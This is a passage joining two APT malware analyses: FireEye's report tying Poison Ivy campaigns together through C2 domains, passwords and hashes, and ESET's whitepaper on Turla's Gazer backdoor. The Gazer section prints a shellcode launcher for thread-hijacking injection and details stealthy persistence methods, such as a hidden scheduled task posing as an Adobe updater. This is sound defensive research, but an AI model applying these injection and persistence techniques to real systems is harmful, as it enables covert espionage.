www.webserver.fartit.com resolved to 113.10.246.30, 219.90.112.203, 202.65.220.64, and 75.126.95.138, which overlap with the gwx123 IP addresses.
www.webserver.freetcp.com resolved to 113.10.246.30, 219.90.112.203, 202.65.220.64, 75.126.95.138, 219.90.112.197, and 202.65.222.45, which overlap with the gwx123 IP addresses.
www.webserver.dynssl.com resolved to 113.10.246.30, 219.90.112.203, 219.90.112.203, 75.126.95.138, 219.90.112.197, and 202.65.222.45, which overlap with the gwx123 IP addresses.
This data indicates a relationship among the threat actors behind these attacksin most cases, they at least share a common CnC infrastructure.
In addition to historic DNS resolutions, PIVY process mutexes suggest a relationship between PIVY passwords gwx123 and admin338.
Although the mutexes of gwx123, wwwst Admin, and admin338 samples were different, the choice of characters in the mutex revealed a similar pattern.
http://www.fireeye.com 21  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence Campaign 2: th3bug Our data set for th3bug threat actor comprises the following: 14 Poison Ivy samples 2 passwords 9 CnC servers The earliest th3bug PIVY sample we have is dated October 26, 2009.
This ongoing campaign targets a number of industries but appears to prefer targets in higher education and the healthcare sectors.
Figure 14: Linkage of admin338 PIVY samples by password and mutex Figure 15: Percent of th3bug APT group attacks by industry http://www.fireeye.com 22  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence Attack vector Unlike the other two campaigns described in this report (admin338 and menuPass), th3bug does not appear to rely on spear phishing to distribute PIVY.
Instead, attacks attributed to th3bug use a strategic Web compromise to infect targets.
This approach is more indiscriminate, which probably accounts for the more disparate range of targets.
In the FireEye blog, we documented a recent th3bug strategic Web compromise.31 In the following example, the actor or actors behind the th3bug campaign compromised multiple websites that catered to the intended targets.
The attacker used injected JavaScript on the compromised websites to redirect targets to an Internet Explorer exploit that dropped Stage 1 launcher/downloader mobile code.
This downloader then retrieved and installed a PIVY RAT variant.
Figure 16: Example of initial infection vector by th3bug APT group 31 Thoufique Haq and Yasir Khalid.
Internet Explorer 8 Exploit Found in Watering Hole Campaign Targeting Chinese Dissidents.
March 2013.
http://www.fireeye.com 23  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence Weaponization In related campaigns, th3bug has used a number of different Java and Internet Explorer exploits, including (CVE-2013-0422),32 (CVE-2013- 1347),33 and (CVE-2011-3544).34 Figure 17: Example of ROP exploit code used by th3bug APT group Figure 18: Cluster intel of the th3bug APT group 32 National Institute of Standards and Technology.
Vulnerability Summary for CVE-2013-0422.
February 2013.
33 National Institute of Standards and Technology.
Vulnerability Summary for CVE-2013-0422.
January 2013.
34 National Institute of Standards and Technology.
Vulnerability Summary for CVE-2011-3544.
October 2011.
http://www.fireeye.com 24  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence The default PIVY password of admin has been used by multiple, distinct threat actorsso clearly, we cannot link all PIVY samples with the admin password to th3bug.
But evidence suggests that the attackers originally used the default password before settling on th3bug.
We can link at least one PIVY sample that uses the admin password to the th3bug campaign based on the following connections: The sample 8002debc47e04d534b45f7bb7dfcab4d connected to kr.iphone.qpoe.com with the PIVY password admin.
The domain kr.iphone.qpoe.com resolved to 180.210.206.96 on January 12, 2012.
The domain nkr.iphone.qpoe.com also resolved to 180.210.206.96 on January 3, 2012.
The domain nkr.iphone.qpoe.com also resolved to 101.78.151.179 on December 23, 2011.
The domain e.ct.toh.info resolved to 101.78.151.179 on June 12, 2012.
The sample 55a3b2656ceac2ba6257b6e39f4a5b5a connected to ct.toh.info domain with the PIVY password th3bug.
We found a smaller number of distinct PIVY samples linked to th3bug than we did for the admin338 and menuPass campaigns.
This paucity is likely a result of two factors.
First, th3bug does not appear to stage a high volume of attacks.
Instead, it appears to run only a handful of strategic Web compromise attacks each year.
Second, th3bug stages its delivery of PIVY.
So to acquire the second-stage PIVY server payload, an attack must be observed in real time.
Figure 19: Partial cluster intel of the th3bug APT group (zoomed in) http://www.fireeye.com 25  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence Campaign 3: menuPass Our data set for the menuPass threat actor comprises the following: 118 Poison Ivy samples 8 passwords 61 domains 74 IP addresses The earliest menuPass PIVY sample we have is dated December 14, 2009.
This sample (b08694e14a9b966d8033b42b58ab727d) connected to a control server at js001.3322.org with a password xiaoxiaohuli (Chinese translation: little little fox).
Based on what we have found, it appears that the threat actor behind menuPass prefers to target U.S. and foreign defense contractors.
Figure 20: Percent of menuPass APT group attacks by industry http://www.fireeye.com 26  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence Attack vector The menuPass campaign appears to favor spear phishing to deliver payloads to the intended targets.
The email shown in Figure 21 shows a typical menuPass spear-phishing attempt.
While the attackers behind menuPass have used other RATs in their campaign, it appears that they use PIVY as their primary persistence mechanism.
Figure 21: Example of spear-phishing email launched by the menuPass APT group Figure 22: Example of weaponized, nested EXEs, used by menuPass APT group Weaponization The menuPass campaign has used weaponized Microsoft Word documents (CVE-2010-3333)35 and ZIP files containing executable files to drop PIVY directly onto its targets.
Figure 22 outlines several executables delivered in ZIP files attached to menuPass spear-phishing emails.
File Name Compile Time MD5 Strategy_Meeting.exe 2012-06-11 04:41:31 8d6b6e023b4221bae8ed- 37bb18407516 Background Consent Form.exe 2012-05-13 22:13:07 8d769c63427a8ce407d17946 702c7626 Doha_Climate_Change_Conference- November_2012.exe 2012-11-13 07:19:03 001b8f696b6576798517168cd 0a0fb44 http://www.fireeye.com 27  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence Clustering The menuPass attackers favor using a launcher that masquerades as a Microsoft Foundation Class Library application36 using the document/ view architecture.
This launcher includes a packed copy of the PIVY server that is subsequently unpacked and executed in memory shortly after a useless call to the FindFirstFile API.
Out of the 155 samples we collected f or menuPass, 81 of them are MFC apps with a document class.
Out of these 81 MFC launchers, 64 use the CBricksDoc class name.
We also found these names: CMy20130401Doc CShellCodeDoc CMy20130401Doc CPiShellPutDo CCrocodileDoc CMy20130401Doc CStatePattern_GameDoc CPiShellPutDoc CPIVCDoc CMy1124Doc CLightGameDoc CPiShellPutDoc Some samples were packed into projects taken from the Web and repurposed to serve as launchers.
The most popular PIVY password used by the menuPass campaign is keaidestone (used in 35 samples) followed by menuPass (24 samples).
The threat actor also used these PIVY passwords in the same campaign: suzuki happyyongzi admin smallfish XGstone xiaoxiaohuli fishplay http://www.fireeye.com 28  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence A number of IPs in the 60.10.1.0/24 Classless Inter-Domain Routing (CIDR) block have hosted domains used in the menuPass campaign.
We can see the connection between the keaidestone password and the XGstone password by observing the following connections in this same /24 CDIR block: The IP 60.10.1.120 hosted the domain apple.
cmdnetview.com.
The sample d8c00fed6625e5f8d0b8188a5caac115 connected to apple.cmdnetview.com with the password XGstone.
The IP 60.10.1.115 hosted the domain autuo.
xicp.net.
The sample b1deff736b6d12b8d98b485e20d318ea connected to autuo.xicp.net with the password keaidestone.
The samples b1deff736b6d12b8d98b485e20d318ea and d8c00fed6625e5f8d0b8188a5caac115 also shared the use of the CBricksDoc launcher.
08709f35581e0958d1ca4e50b7d86dba has a compile time of July 20.
2012 and connected to tw.2012yearleft.com with the password keaidestone.
This sample also used the CBricksDoc launcher.
2012yearleft.com was registered on February 13, 2012 by zhengyanbin8gmail.
com.
The domain cmdnetview.com was also registered on February 13, 2012 by zhengyanbin8gmail.com.
Figure 21: Example of spear-phishing email launched by the menuPass APT group Figure 24: Partial cluster intel of the menuPass APT group (zoomed in on menuPass) http://www.fireeye.com 29  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence We can also see the connection between the keaidestone password and the smallfish password by observing the connections in the 60.10.1.0/24 CDIR block: The domain dedydns.ns01.us resolved to 60.10.1.121.
The sample e84853c0484b02b7518dd6837 87d04fc connected to dedydns.ns01.us with the password smallfish and used the CBricksDoc launcher.
We can see the connection between the keaidestone password and the happyyongzi password by observing the connections in the 60.10.1.0/24 CDIR block: The domain maofajapa.3322.org resolved to 60.10.1.121.
The sample cf8094c07c15aa394dddd4eca4aa8c8b connected to maofajapa.3322.org with the password happyyongzi.
The password suzuki can be linked to keaidestone by observing the following relationships: The sample 410eeaa18dbec01a27c5b41753b3c7ed connected to send.have8000.com with the password of suzuki.
The domain have8000.com was registered on 2012-02-13 via the email zhengyanbin8 gmail.com.
The same email of zhengyanbin8gmail.com also registered cmdnetview.com on the same date of 2012-02-13.
As stated above, the sample b2dc98caa647e64a2a8105c298218462 connected to apple.cmdnetview.com with the password XGstone.
We can link the password of menuPass to keaidestone by observing the following connections: 08709f35581e0958d1ca4e50b7d86dba has a compile time of July 20, 2012 and connected to tw.2012yearleft.com with the password keaidestone.
This sample also used the CBricksDoc launcher.
tw.2012yearleft.com resolved to 60.10.1.114 on June 6, 2012 and to 60.1.1.114 on March 11, 2013.
The domain fbi.zyns.com resolved to 60.10.1.118 on August 21, 2012.
68fec995a13762184a2616bda86757f8 had a compile time of March 25, 2012 and connected to fbi.zyns.com with the password menuPass.
This sample also used the CBricksDoc launcher.
The sample 39a59411e7b12236c0b4351168fb47ce had a compile time of April 2, 2010 and connected to weile3322b.3322.org with the password keaidestone.
This sample used a launcher of CPiShellPutDoc.
The sample f5315fb4a654087d30c69c768d80f826 had a compile time of May 21, 2010 and connected to ngcc.8800.org with the password menuPass.
This sample also used a launcher of CPiShellPutDoc.
http://www.fireeye.com 30  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence We can see the connection between the happyyongzi password and menuPass by observing  the following connections: The sample e6ca06e9b000933567a8604300094a85 connected to the domain sh.chromeenter.
com with the password happyyongzi.
The domain sh.chromeenter.com previously resolved to the IP 60.2.148.167.
The domain jj.mysecondarydns.com also resolved to 60.2.148.167.
Similar to other threat actors, this threat actor has also used PIVY samples using the default admin password.
Again, not all PIVY samples with the password admin can be linked to menuPass.
But we can see the connection between the menuPass and at least a couple of instances of PIVY using the admin password via the following connections: The sample 56cff0d0e0ce486aa0b9e4bc0bf2a141 was compiled on 2011-08-31 and connected to mf.ddns.info with the password menuPass.
The domain mf.ddns.info resolved to 54.241.8.84 on November 22, 2012.
This same IP also hosted the domain av.ddns.us on the same date.
The sample 60963553335fa5877bd5f9be9d8b23a6 was compiled on June 9, 2012 and connected to av.ddns.us with the password of admin.
A number of menuPass and admin samples also shared the same CBricksDoc launcher including but not limited to 6d989302166ba1709d66f90066c2fd59 and 4bc6cab128f623f34bb97194da21d7b6.
The sample 4e84b1448cf96fabe88c623b222057c4 connected to jj.mysecondarydns.com with the password menuPass.
The password of fishplay can be linked to menuPass by observing the following relationships: The sample 494e65cf21ad559fccf3dacdd69acc94 connected to mongoles.3322.org with the password fishplay.
The mongoles.3322.org domain resolved to 123.183.210.28.
The domain a.wubangtu.info also resolved to 123.183.210.28.
The sample a5965b750997dbecec61358d41ac93c7 connected to 3q.wubangtu.info with the password menuPass.
The sample 494e65cf21ad559fccf3dacdd69acc94 and a5965b750997dbecec61358d41ac93c7 also share the same CBricksDoc launcher.
We can link the password of xiaoxiaohuli to menuPass through the shared CPiShellPutDoc launcher: f5315fb4a654087d30c69c768d80f826 had a compile time of May 21, 2010 and connected to ngcc.8800.org with the password of menuPass.
e6ca06e9b000933567a8604300094a85 had a compile time of June 29, 2010 and connected to sh.chromeenter.com with the password happyyongzi.
http://www.fireeye.com 31  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence Both f5315fb4a654087d30c69c768d80f826 and e6ca06e9b000933567a8604300094a85 use the same CPiShellPutDoc launcher.
Finally, we can link the password of happyyongzi to xiaoxiaohuli by observing the following relationships: e6ca06e9b000933567a8604300094a85 has a compile time of 2010-06-29 and connects to sh.chromeenter.com with the password happyyongzi.
e62584c9cd15c3fa2b6ed0f3a34688ab has a compile time of 2009-12-28 and connects to the domain js001.3322.org with the password xiaoxiaohuli.
Both e6ca06e9b000933567a8604300094a85 and e62584c9cd15c3fa2b6ed0f3a34688ab use the same CPiShellPutDoc launcher.
Figure 21: Example of spear-phishing email launched by the menuPass APT group http://www.fireeye.com 32  www.fireeye.com Poison Ivy:  Assessing Damage and Extracting Intelligence FireEye, Inc.    1440 McCarthy Blvd.
Milpitas, CA 95035    408.321.6300    877.FIREEYE (347.3393)    infofireeye.com    www.fireeye.com 2014  FireEye, Inc. All rights reserved.
FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners.
RPT.PIVY.EN-US.082014 Conclusion We cannot say with certainty why the actors responsible for the admin338, menuPass, and th3bug campaigns rely on Poison Ivy.
But possible explanations include PIVYs easy-to-use features and the relative anonymity that an off-the-shelf RAT provides for attackers.
Compared to other RATs, PIVY is very easy to operate.
Its graphical user interface (GUI) makes building new servers and controlling infected targets simple.
Attackers can point and click their way through a compromised network and exfiltrate data.
Commodity RATs also complicate efforts by security professionals to correlate a threat actors activity over timeattackers can hide in the sea of malicious activity that also uses Poison Ivy-based malware.
By exposing the role of PIVY and other commodity RATs in APT campaigns we hope to complicate attackers ability to hide behind these off-the-shelf toolsand perhaps force them away from using these RATs.
In this report, we have provided several techniques that network defenders can use to not only identify a PIVY infection, but also classify and correlate detected infections to previously observed APT activity.
In the process of building their PIVY servers, attackers leave a number of potentially useful clues, such as: The domains and IPs used for CnC The chosen PIVY process mutex The chosen PIVY password Launcher code used in the droppers Timeline of activity Targets of attack Together, all of these data points can help effectively identify and correlate APT activity that uses the Poison Ivy RAT.
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Gazing at Gazer Turlas new second stage backdoor August 2017 Gazing at Gazer Turlas new second stage backdoor August 2017 Table of ConTenT Introduction 5 Summary 5 Similarities with other Turla tools 6 Custom encryption 6 Global architecture 7 Loader 7 Logs 11 Working Directory 13 Orchestrator 14 Communication Module 16 Messages between components 18 Gazer versions 20 IoCs 21 Filenames 21 Registry keys 21 CC URLs 21 Mutexes 21 Hashes 22 appendices 25 Function names 25 Yara rules 29 lIST of fIGureS Figure 1.
Turla authors sense of humor 6 Figure 2.
Gazer architecture 7 Figure 3.
Message format 18 Figure 4.
Certificates used to sign the malware variants 20 lIST of TableS Table 1.
Abstract Class Autorun 15 Table 2.
Abstract Class Queue 16 Table 3.
Abstract Class Storage 16 Table 4.
Abstract Class TListenerInterface 16 Table 5.
Abstract Class TAbstractTransport 16 Table 6.
Gazer sample hashes 22 Gazing at Gazer Turlas new second stage backdoor 5 InTroduCTIon Herein we release our analysis of a previously undocumented backdoor that has been targeted against embassies and consulates around the world leads us to attribute it, with high confidence, to the Turla group.
Turla is a notorious group that has been targeting governments, government officials and diplomats for years.
They are known to run watering hole and spearphishing campaigns to better pinpoint their targets.
Although this backdoor has been actively deployed since at least 2016, it has not been documented anywhere.
Based on strings found in the samples we analyzed, we have named this backdoor Gazer.
Recently, the Turla APT group has seen extensive news coverage surrounding its campaigns, something we havent seen for a long time.
The Intercept reported that there exists a 2011presentation by Canadas Communication Security Establishment (CSE) outlining the errors made by the Turla operators during their operations even though the tools they use are quite advanced.
The codename for Turla APT group in this presentation is MAKERSMARK.
Gazer is, similar to its siblings in the Turla family, using advanced methods to spy and persist on its targets.
This whitepaper highlights the campaigns in which Gazer was used and also contains a technical analysis of its functionalities.
Summary Based on our research and telemetry on the different campaigns where Gazer was used,we believe that Southeastern Europe as well as countries in the former Soviet Union Republichas recently been the main target.
The witnessed techniques, tactics and procedures (TTPs) are in-line with what we usuallysee in Turlas operation: a first stage backdoor, such as Skipper, likely delivered through spearphishingfollowed by the appearance on the compromised system of a second stage backdoor, Gazerin this case.
Although we could not find irrefutable evidence that this backdoor is truly another tool in Turlas arsenal, several clues lead us to believe that this is indeed the case.
First, their targets are in line with Turlas traditional targets: Ministries of Foreign Affairs (MFAs) and embassies.
Second, the modus operandi of spearphishing, followed by a first stage backdoor and a second stage, stealthier backdoor is what has been seen over and over again.
Skipper, which has been linked to Turla in the past, was found alongside Gazer in most cases we investigated.
Finally, there are many similarities between Gazer and other second stage backdoors used by the Turla group such as Carbon and Kazuar.
As usual, the Turla APT group makes an extra effort to avoid detection by wiping files securely, changing the strings and randomizing what could be simple markers through the different backdoor versions.
In the most recent version we have found, Gazer authors modified most of the strings and inserted video-game-related sentences throughout the code.
An example of such a string is depicted in Figure 1.
https://www.welivesecurity.com/2017/06/06/turlas-watering-hole-campaign-updated-firefox-extension-abusing-instagram/ https://theintercept.com/2017/08/02/white-house-says-russias-hackers-are-too-good-to-be-caught-but-nsa-partner-called-them-morons/ https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender-Whitepaper-PAC-A4-en_EN1.pdf https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/ https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/ Gazing at Gazer Turlas new second stage backdoor 6 Figure 1.
Turla authors sense of humor SImIlarITIeS wITh oTher Turla ToolS Gazer is written in C and shares several similarities with other malware from the Turla APT family.
Indeed, Gazer, Carbon and Kazuar can receive encrypted tasks from a CC server, which can be executed either by the infected machine or by another machine on the network.
They all use an encrypted container to store the malwares components and configuration and they also log their actions in a file.
The list of CC servers is encrypted and embedded in Gazers PE resources.
They are all compromised, legitimate websites (that mostly use the WordPress CMS) that act as a first layer proxy.
This is also a common tactic for the Turla APT group.
Another interesting linkage is that one of the CC servers embedded in a Gazer sample was known to be used in a JScript backdoor documented by Kaspersky as Kopiluak.
Last but not least, these three malware families (Gazer, Carbon and Kazuar) have a similar list of processes that may be employed as a target to inject the module used to communicate with the CCserver embedded in the binary.
The resource containing this list can change from one sample to another, it is likely tailored to what is installed on the system (for example, on some samples, the process name safari.exe can appear on the list).
CuSTom enCrypTIon Gazers authors make extensive use of encryption.
They dont use the Windows Crypto API and dont seem to use any public library.
It looks as if they are using their own library for 3DES and RSA.
The RSA keys embedded in the resources contains the attackers public key which is used to encrypt the data sent to the CC server, and a private key to decrypt resources embedded in its binaries.
These keys are unique in each sample.
These resources are structured in the same way as RSA from OpenSSL, but these values (p, q, etc.)
are computed by the custom implementation of Gazers authors.
https://wiki.openssl.org/index.php/Manual:Rsa(3) Gazing at Gazer Turlas new second stage backdoor 7 For 3DES, the IV and a static key are hardcoded and are the same in all samples.
This 3DES key is randomly generated and XORed with the static key.
The random data used to XOR the static key is prepended to the logfile header.
This key is then used in the regular 3DES algorithm.
Global arChITeCTure In this section, we will describe in detail each component of Gazer.
CC server May forward task GAZER LOADER rsrc 101 explorer.exe rsrc 102 Orchestrator GAZER ORCHESTRATOR rsrc 101 [...] running within explorer.exe rsrc 102 Comm module GAZER ORCHESTRATOR running within firefox.exe (for example) Injected into process indicated in rsrc 101 Send tasks result Injected into a process that legitimately communicate over the internet.
(
process list from rsrc 106) Forward task Machines on the same network (P2P) Send tasks results Get new tasks Figure 2.
Gazer architecture Loader The loader is the first component of the malware to be executed on the system.
Two resources are stored unencrypted in the binary: 101: the process name to inject the orchestrator into1 102: the orchestrator The following mutex is created to ensure that only a single instance of the malware is running: 531511FA-190D-5D85-8A4A-279F2F592CC7 Named pipe generation To establish a communication channel between Gazer components, a named pipe is initiated.
The named pipe is generated from this string: \\\\.\\pipe\\Winsock2\\CatalogChangeListener-FFFF-F 1 Note that in all samples we have analyzed the process name is explorer.exe Gazing at Gazer Turlas new second stage backdoor 8 The pattern FFFF-F is replaced with values computed from the security identifier (SID) of the current user and the current timestamp.
Lets take for example the current date as: 2017/04/24 and the SID: S-1-5-21-84813077- 3085987743-2510664113-1000.
To generate the pattern at the end of the named pipe, some arithmetic is performed: time  SystemTime.wDay  Systemtime.wMonth  SystemTime.wYear 24  04  2017  0x2f460 xsid  (1  21  84813077  3085987743  2510664113  1000) 0xFFFFFFFF  0xefa252d8 ((time  20)  (time  0xFFF)  ((time  12)  0xFFF))  0xFF 0x93 ((xsid  20)  (xsid  0xFFF)  ((xsid  12)  0xFFF))  0xFF 0x13 ((time  xsid  24)  (uint8_t)(time  xsid)  ((uint16_t)(time xsid)  8)  (uint8_t)(time  xsid  16))  0xf)  0xa In this case, the named pipe will be: \\\\.\\pipe\\Winsock2\\CatalogChangeListener-9313-a If the current users SID cannot be retrieved, the named pipe \\\\.\\pipe\\\Winsock2\\ CatalogChangeListener-FFFE-D will be used by default.
Code injection through thread hijacking A not-so-common trick is used in order to inject the orchestrator into a remote process.
Indeed, a running thread from the remote process is hijacked in order to run shellcode that will execute the communication module entry point.
The whole module and shellcode are copied into the remote process the function ZwQuerySystemInformation is used to retrieve the total number of the running threads in the targeted process the following operations are attempted on each of those threads: the thread is suspended with the OpenThread/SuspendThread functions the thread context is retrieved using GetThreadContext the contexts instruction pointer is saved and modified to point to the shellcode (through SetThreadContext) the thread is resumed using ResumeThread.
if one of the previous operations fails, the thread is resumed and the same actions are attempted on another thread.
Gazing at Gazer Turlas new second stage backdoor 9 launcher: push rax sub rsp, 38h movabs rax, 5D20092       end of payload mov qword ptr ss:[rsp28], rax   lpThreadId mov qword ptr ss:[rsp20], 0   dwCreationFlags xor r9d, r9d        lpParameter movabs r8, 5D20046      lpStartAddress  payload xor edx, edx         dwStackSize  0 xor ecx, ecx         lpThreadAttributes  NULL call qword ptr ds:[CreateThread] movabs rax, 90A7FACE90A7FACE   replaced by the saved instruction pointer from thread context ) add rsp, 38h xchg qword ptr ss:[rsp], rax ret payload: sub rsp, 28 movabs r8, 5D20096 mov edx, 1 movabs rcx, 4000000000000000 call qword ptr ds: [DllEntryPoint] xor ecx, ecx call ExitThread int 3 xxxx  DllEntryPoint xxxx  CreateThread xxxx ExitThread xxxx xxxx xxxx xxxx  TID The shellcode is just a loader that will execute the module entry point in a new thread.
Persistence The loader sends binary data through the named pipe to the orchestrator.
This blob contains: a command ID (2): CMC_TAKE_LOADER_BODY the loader path file the loader PE Once this message is received by the orchestrator, the loader is securely deleted by overwriting the file content and deleted through the DeleteFile function.
Afterwards, the persistency is set up.
The persistency information is retrieved from the resource 105 and stored in the Gazer storage.
Among these data, there is a dword value that is used to choose which persistency mode will be applied.
The resource 105 is structured in the following way: a dword value representing the persistence mode a dword value representing the size of the data the persistence information Gazing at Gazer Turlas new second stage backdoor 10 There are 6 different persistence modes.
0: ShellAutorun Persistence is achieved through the Windows registry by setting the value Shell with explorer.
exe, malware_pathfile under the following key: HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon 1: HiddenTaskAutorun It is very similar to the TaskScheduler Autorun (4) method described below.
The main difference is that the task is hidden from the user by using the TASK_FLAG_HIDDEN flag (set up via the SetFlags method from the ITask interface).
2: ScreenSaverAutorun In this mode, Gazer achieves persistency by setting up in the Windows registry the executable file used for the screensaver.
Many values are created under the HKCU\Control Panel\Desktop registry key: SCRNSAVE.exe with the malware executable path ScreenSaveActive is set to 1: enable the screensaver ScreenSaverIsSecure is set to 0: specifies that the screensaver is not password-protected ScreenSaveTimeout is set to a value given in the resource.
It specifies how long the system remains idle before the screensaver (in this case: the malware) starts.
3: StartupAutorun If the resource 105 begins with the dword value 3, a LNK file will be created in the Start Menu.
The resource will also provide a description for the shortcut file, the path for the target and the filename for the LNK.
The IShellLink interface is used to create the shell link.
4: TaskSchedulerAutorun This method is used to achieve persistence by creating a scheduled task.
The task is created and set up through COM interfaces related to tasks (ITaskService, ITaskSettings,  ).
Some information such as the task name and its description is retrieved from the resource.
For example, in one of the samples resources, the persistency mode is set to 04 (TaskSchedulerAutorun) with the persistency data: APPDATA\Adobe\adobeup.exe Adobe Acrobat Reader Updater.
This task was generated by Adobe Systems, Inc to keep your Adobe Software up-to-data.
\Adobe\AcrobatReader.
Adobe In this example, a scheduled task will be created and set up thus: Task name: Adobe Acrobat Reader Updater Executable: APPDATA\Adobe\adobeup.exe The orchestrator will copy the loader received through the named pipe to this location Gazing at Gazer Turlas new second stage backdoor 11 Task description: This task was generated by Adobe Systems, Inc to keep your Adobe Software up-to-data Task folder: \Adobe\AcrobatReader.
Adobe Last but not least, the task is configured to be started by the task scheduler at any time after its scheduled time has passed.
The task will be triggered when the current user logs on.
5: LinkAutorun This persistence method modifies existing LNK files to execute the malware through cmd.exe.
For each LNK file in the folder given in the resource, the icon and arguments are removed and the path is set to cmd.exe with the argument set to: /q /c start s  start s In most of the samples we analyzed, the configuration file specified that the TaskSchedulerAutorun persistence method should be used.
Logs All three Gazer components log their actions into logfiles.
They are encrypted with the same algorithm: 3DES.
In some versions of Gazer, it is easy to retrieve these logfiles because their filenames are hardcoded into the binaries: TEMP\CVRG72B5.tmp.cvr: the logs from the loader TEMP\CVRG1A6B.tmp.cvr: the logs from the orchestrator TEMP\CVRG38D9.tmp.cvr: the logs from the communication module Each logfile is structured in the following way: [LOGSIZE][DECRYPTION_KEY][ENCRYPTED_LOG] logsize: when this value (2 bytes) is subtracted from the magic value 0xf18b, it gives the encrypted log size decryption_key: when this 12 bytes blob is XORed with another hardcoded key of 12 bytes, it gives the 3DES key that can be used to decrypt the log encrypted_log: log encrypted with the 3DES algorithm in CBC mode Once decrypted, each log entry is formatted in the following way: Hour:Min:Sec:Ms [log ID] [log] Gazing at Gazer Turlas new second stage backdoor 12 Here is an example with the decrypted orchestrator logfile: 10:29:56:197 [1556] 10:29:56:197 [1557] [...] 10:29:56:197 [1558] DATE: 25.05.2017 10:29:56:197 [1559] PID900 TID2324  Heaps32 C:\Windows\Explorer.
EXE 10:29:56:197 [1565] DLL_PROCESS_ATTACH 10:29:56:197 [1574] 4164 10:29:58:197 [0137] [...] 10:29:58:197 [0138] Current thread  2080 10:29:58:197 [0183] Heap aff0000 [34] 10:29:58:197 [0189]  PE STORAGE 10:29:58:197 [0215]  PE CRYPTO 10:29:58:197 [0246]  EXTERNAL STORAGE 10:29:58:197 [1688] Ok 10:29:58:197 [0279] Path  \HKCU\Software\Microsoft\ Windows\CurrentVersion\Explorer\ScreenSaver 10:29:58:197 [0190] \HKCU\Software\Microsoft\Windows\ CurrentVersion\Explorer\ScreenSaver 10:29:58:197 [0338] ---FAILED 10:29:58:197 [0346] Initializing standart reg storage... 10:29:58:197 [0190] Software\Microsoft\Windows\ CurrentVersion\Explorer\ScreenSaver 10:29:58:197 [2605] Storage is empty 10:29:58:197 [0392]  EXTERNAL CRYPTO 10:29:59:666 [1688] Ok 10:29:59:713 [1473] Ok 10:29:59:760 [1688] Ok 10:29:59:775 [1473] Ok 10:29:59:775 [1688] Ok 10:29:59:775 [1473] Ok 10:29:59:791 [1688] Ok 10:29:59:791 [1473] Ok 10:29:59:806 [1688] Ok 10:29:59:806 [1473] Ok 10:29:59:806 [0270] 08-00-27-90-05-2A 10:29:59:806 [0286] _GETSID_METHOD_1_ 10:29:59:806 [0425] 28 7 8 122 10:29:59:806 [0463] S-1-5-21-84813077-3085987743- 2510664113-1000 10:29:59:806 [0471] 10:29:59:806 [0787] Ok 10:29:59:806 [1473] Ok 10:29:59:822 [0514]  QUEUES 10:29:59:822 [0370] T Empty 10:29:59:822 [0482] R Empty 10:29:59:822 [1754] Ok 10:29:59:822 [1688] Ok 10:29:59:822 [1473] Ok 10:29:59:838 [0505] R 4294967295 PR_100 TR_00000000 SZ_172 SC_0(50) --- EX_0 10:29:59:838 [0625]  TRANSPORT 10:29:59:838 [0286] _GETSID_METHOD_1_ 10:29:59:838 [0425] 28 7 25 122 10:29:59:838 [0463] S-1-5-21-84813077-3085987743- 2510664113-1000 10:29:59:838 [0471] 10:29:59:838 [0165] \\.\pipe\Winsock2\ CatalogChangeListener-2313-4 10:29:59:838 [0131] PipeName  \\.\pipe\Winsock2\ CatalogChangeListener-2313-4 10:29:59:838 [0041] true [...] Gazing at Gazer Turlas new second stage backdoor 13 Note that in older Gazer versions, the log ID was replaced by the name of the current function.
We believe that this log ID is an ID for the function where the log occurs.
Working Directory Using the Windows Registry All the files related to Gazer (except the logs) are stored encrypted within the registry.
The orchestrators resource 109 contains the root storage path (it will be designated RootStoragePath in the rest of this paper).
In every sample we examined, this resource pointed to the same storage path: HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ScreenSaver If this resource is empty, the registry key above is used by default.
Except for RSA keys, all the data in the storage is encrypted2.
Several subdirectories (whose names are hardcoded in the binary) are created.
RootStoragePath119D263D-68FC-1942-3CA3-46B23FA652A0 Object ID: a unique ID to identify the victim RootStoragePath1DC12691-2B24-2265-435D-735D3B118A70 Task Queue: linked list of tasks to be executed RootStoragePath28E74BDA-4327-31B0-17B9-56A66A818C1D Plugins RootStoragePath31AC34A1-2DE2-36AC-1F6E-86F43772841F Communication Module: the DLL that communicates with the CC server RootStoragePath3CDC155D-398A-646E-1021-23047D9B4366 Autorun: the persistency method RootStoragePath4A3130BD-2608-730F-31A7-86D16CE66100 Local Transport Settings: the computers IPs that are on the same network RootStoragePath56594FEA-5774-746D-4496-6361266C40D0 Last Connection: last connection time with the CC server (structure SYSTEMTIME) RootStoragePath629336E3-58D6-633B-5182-576588CF702A RSA Private Key: generated on the fly used to decrypt the data from Gazer storage.
RootStoragePath6CEE6FE1-10A2-4C33-7E7F-855A51733C77 Result Queue: linked list of the tasks results RootStoragePath81A03BF8-60AA-4A56-253C-449121D61CAF Inject Settings: the list of processes to use to try to inject the communications module RootStoragePath8E9810C5-3014-4678-27EE-3B7A7AC346AF CC servers 2  See the Gazer Resources section for details Gazing at Gazer Turlas new second stage backdoor 14 Using Alternate Data Streams If it is not possible to access the registry, these configuration items are stored using alternate data streams.
The function GetVolumeInformation is called to ensure that the volume C:\ supports named streams in order to use ADS.
The same GUIDs as above are used to hide the different data in an ADS for the file (hardcoded in the binary): TEMP\KB943729.log For example, here is the full path to access the object ID: TEMP\KB943729.log:1DC12691-2B24-2265-435D-735D3B118A70 Orchestrator Gazer Resources The Gazer-related files are stored in the orchestrators resources.
